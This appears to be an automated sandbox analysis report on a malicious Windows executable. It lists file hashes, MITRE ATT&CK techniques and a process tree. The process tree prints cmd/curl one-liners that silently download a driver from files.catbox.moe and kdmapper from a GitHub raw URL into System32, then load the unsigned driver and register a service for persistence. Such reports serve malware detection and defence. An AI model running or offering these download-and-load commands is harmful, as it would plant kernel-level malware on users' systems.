e6f9b4b0a36aae66bc6c811bf6aae96234e07049a55ebde56388a56d85438ee6

Resubmissions

19/08/2026, 01:38

260819-b2dbpathpf8

19/08/2026, 01:37

260819-b1z43athnf3

19/08/2026, 01:34

260819-bzh46abr7w8

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
52s
max time network
43s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/08/2026, 01:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe
Size 880KB
Sample260819-b2dbpathpf
SHA256 e6f9b4b0a36aae66bc6c811bf6aae96234e07049a55ebde56388a56d85438ee6
MD5 84223dd5145a488fbc17614778b9be1f
SHA1 6ff8c7734e9fbae538ffe88a7de20fce82913f67
SHA512 9aa43ddc470e36a1d44cb30c77c2d599a2bf43a76b1caf2050ecf9f5e240cc251ce0933dba7b3315c04230db0e7a23b8cddd2431fb0b5cfe488be643c4fb8728
SSDEEP 24576:gk7/BNGayaSoZn5MgwsQd9uSlYB8iWnttpIdh+YW2K:gk7jZyaSo1dVmV65Wn7pEh+z2K
TLSH
T18115AE08FAF145A8C17B647994A6A31BF736B84C1B7086E763E801983FA33E44F75712
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Downloads MZ/PE file 2 IoCs

flow	pid	Process
32	3508	curl.exe
52	2576	curl.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xTHewMVrqlBiH\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\xTHewMVrqlBiH"	kdmapper.exe

Executes dropped EXE 1 IoCs

pid	Process
1888	kdmapper.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
51	raw.githubusercontent.com
52	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\hobo.sys	curl.exe
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1632	cmd.exe
4816	cmd.exe
2112	cmd.exe
4996	cmd.exe
464	cmd.exe
1648	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1888	kdmapper.exe
1888	kdmapper.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
1888	kdmapper.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1888	kdmapper.exe
Token: SeLoadDriverPrivilege	1888	kdmapper.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 1648	2096	ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe	85
PID 2096 wrote to memory of 1632	2096	ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe	99
PID 2096 wrote to memory of 4816	2096	ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe	103
PID 4816 wrote to memory of 3508	4816	cmd.exe	104
PID 2096 wrote to memory of 2112	2096	ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe	110
PID 2112 wrote to memory of 2576	2112	cmd.exe	111
PID 2096 wrote to memory of 1888	2096	ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe	113
PID 2096 wrote to memory of 4996	2096	ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe	114
PID 2096 wrote to memory of 464	2096	ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe	115

C:\Users\Admin\AppData\Local\Temp\ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe
"C:\Users\Admin\AppData\Local\Temp\ef1a5648-e327-424c-8e8a-db9d2c790b30.XrAydmny.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:1648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    - Downloads MZ/PE file
    - Drops file in System32 directory
    PID:3508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Downloads MZ/PE file
    - Drops file in System32 directory
    PID:2576
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: LoadsDriver
  - Suspicious use of AdjustPrivilegeToken
  PID:1888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hobo.sys

Path C:\Windows\System32\hobo.sys
Size 13KB
SHA256 2eacc4ae96eacd16152474e3b9e014f956e9e6020db1d6d6aca228de9a546cf1
MD5 21951a18deb06bd874e99a359caec40b
SHA1 e8cf4eab961033541103c0e56851ad543d098d77
SHA512 c0394cb52e056b6374bdb27da6572d123348d03c7c197882b55731728727e8d2b161b3f59dda086523a4f3a185de9e530d0aef3ad24a65217e98eb9f45ba81be
SSDEEP 192:AAin1l22SNUZC7Y5yYaFzz7wVESzYcrmZ7xElO7VXzHk4kpT:AbHNSC5yJFzI6O5rm3xLkD
TLSH
T10F52E812A35A04F9E25A913FE2A24B47E6E9F0621351AFDF0875C2460F53FE47837A42
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kdmapper.exe

Path C:\Windows\System32\kdmapper.exe
Size 150KB
SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
MD5 61e5aafec83b8c4d6b310dc54ed4c827
SHA1 fa0c68418265677b6d7ab4fe07a26340482dfb25
SHA512 7545ad1265c4871900357ecac0598a9db0fd8c627879726d9afe4b9344387df2270d761575de5c445503d2b859d50bd51f9c082fb96095186d9f3ab1ada5cc46
SSDEEP 3072:soRUjZEYLIDfVEDykwUmJTQSaMm5/6onTxIl4z:NUZEYLqf4jcWlTh
TLSH
T1D1E32A1797A5106EF1B7D6B9CAB24A11EB717C550B74D2CF135048BA0F22BD0BA3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download